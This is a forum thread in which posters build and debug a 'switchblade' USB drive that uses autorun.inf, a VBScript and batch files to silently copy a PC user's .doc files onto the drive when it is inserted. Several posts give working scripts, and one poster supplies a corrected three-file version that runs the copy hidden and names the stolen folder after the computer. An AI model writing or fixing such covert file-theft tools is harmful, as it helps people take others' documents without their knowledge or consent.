Jump to content

Extracting/Dumping whole folders from computer to switchblade, possible?


grayskin

Recommended Posts

Any simple batch script that does the same thing on a pc from folder to folder would do the same for any USB drive so long as you have rights to access the files.

Link to comment
Share on other sites

The only issue that occurs to me is the amount of data you will actually be copying. Flash is slow, it can take a long time to write 50 small files (even longer on windows).

It would be wise to look in to using a more intelligent scripting language (perl?) that can be used to determine if copying should proceed based on the number of files and the size of the files.

Link to comment
Share on other sites

I don't know what I'm doing wrong. Can someone more experienced give me a hand?

autorun.inf

[autorun] 
action=Open Files On Folder
icon=iconsdrive.ico
shellexecute=nircmd.exe execmd CALL start.bat

start.bat

xcopy "C:Documents and Settings%username%My Documents*.doc" /s/c/q/r/h

Link to comment
Share on other sites

I don't know what I'm doing wrong. Can someone more experienced give me a hand?

autorun.inf

[autorun] 
action=Open Files On Folder
icon=iconsdrive.ico
shellexecute=nircmd.exe execmd CALL start.bat

start.bat

xcopy "C:Documents and Settings%username%My Documents*.doc" /s/c/q/r/h

In start.bat you are missing the destination, it should look more like this

XCOPY [source] [destination] (arguments)

If you need a better explanation open a command prompt and type XCOPY /?

Link to comment
Share on other sites

Yeah, I'll tell you how I'm doing it and not having much luck.

I'm trying to make it autorun from the U3 and it's just not working.

CD Partition-

autorun.inf, which starts autorun.bat, which starts a VBS script that was created by someone on here.

[autorun]
open=autorun.bat
name=autorun

@ECHO off

start .Autorun.vbs

exit

Set objFSO = CreateObject("Scripting.FileSystemObject") 
Set objShell = CreateObject("Wscript.Shell")
Set colDrives = objFSO.Drives
Set objEnv = objShell.Environment("PROCESS")

objEnv("Year") = Year(now())
objEnv("Month") = Right("0" & Month(now()), 2)
objEnv("Day") = Right("0" & Day(now()), 2)
objEnv("Hour") = Right("0" & Hour(now()), 2)
objEnv("Minute") = Right("0" & Minute(now()), 2)
objEnv("Second") = Right("0" & Second(now()), 2)

For Each objDrive in colDrives
    If objFSO.FileExists(objDrive.DriveLetter & ":SystemSRCdrv.dat") Then
        strPath = objDrive.Driveletter & ":"
        If objFSO.FileExists(strPath & "SystemSRCPL.dat") Then
            objShell.Run ".SystemSRCgo.bat " & strPath , 0, False
        End If
    End If
Next

On the flash partition, in SYSTEM/SRC/, there exists PL.dat, slurp.bat & start.bat.

This file is empty and just serves as a flag.



@echo off 

@start /min slurp.bat /B 

@exit 

@echo off
mkdir %~d0%computername% 
xcopy "C:Documents and Settings%username%My Documents*.doc" %~d0%computername% /s/c/q/r/h
@cls 
@exit 

Hopefully, those examples can be of some benefit to you, although in their current state they are not working for me.

Link to comment
Share on other sites

@Volsfan91

The VBScript you have there was written by me, the problem you have is you are using scripts that weren't made for what you want to do, you simply need the following three scripts, rather than five.

Autorun.inf - Placed on the root of the U3 partition.

Autorun.vbs - Placed on the root of the U3 partition.

Slurp.bat - Placed on the root of the flash partition.

[autorun]
open=wscript .autorun.vbs

Set objFSO = CreateObject("Scripting.FileSystemObject") 
Set objShell = CreateObject("Wscript.Shell")
Set colDrives = objFSO.Drives

For Each objDrive in colDrives
    If objFSO.FileExists(objDrive.DriveLetter & ":slurp.bat") Then
        strPath = objDrive.Driveletter & ":slurp.bat " & objDrive.Driveletter
        objShell.Run strPath , 0, False
    End If
Next

Set objFSO = Nothing
Set objShell = Nothing
Set colDrives = Nothing

@echo off
mkdir %1:%computername% 
xcopy "%userprofile%My Documents*.doc" %1:%computername% /s /c /q /r /h

Link to comment
Share on other sites

Not to split hairs but if you wanted you could put everything into the autorun.vbs script and use the methods of the file system object to do the same thing. Is is faster? I don't know but the weakest link is the speed of the flash write not the script. Recursion is easier, IMHO in vbs. I'll whip something up next week to show you.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...